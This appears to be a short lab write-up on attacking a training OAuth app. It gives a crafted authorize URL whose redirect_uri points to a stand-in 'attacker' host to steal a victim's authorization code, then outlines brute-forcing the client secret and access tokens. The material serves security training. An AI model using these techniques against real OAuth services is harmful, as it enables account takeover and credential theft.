Attacking OAuth

Task 1. Create a code stealing PoC Craft an URL that can be sent to a victim in order to steal the authorization code once he/she logs in into the /oauth endpoint. You can use the following data: the response type is "code", the scope is "view_gallery" and the client_id is "photoprint".

Task 2. Use the acquired code to bruteforce the client secret Use a POST request to the /token endpoint in order to bruteforce the client secret. Consult with OAuth's documentation to recreate the request. The grant type is "authorization_code"

Task 3. Discover another token vulnerability Discover another vulnerability by abusing the /photos/me?access_token= endpoint.

Task 1

The vulnerability is an unvalidated redirect. Using a code snippet example below, if a user is sent this link and then logs in the attacker will be sent the code.

http://gallery:3005/oauth/authorize?response_type=code&redirect_uri=http%3A%2F%2Fattacker%2Fcallback&scope=view_gallery&client_id=photoprint

Task 2

After recieving the request, send it to intruder to try to bruteforce the secret.

Update the request.

Now send the token.

Task 3

Alternatively you can bruteforce a valid token.

Last updated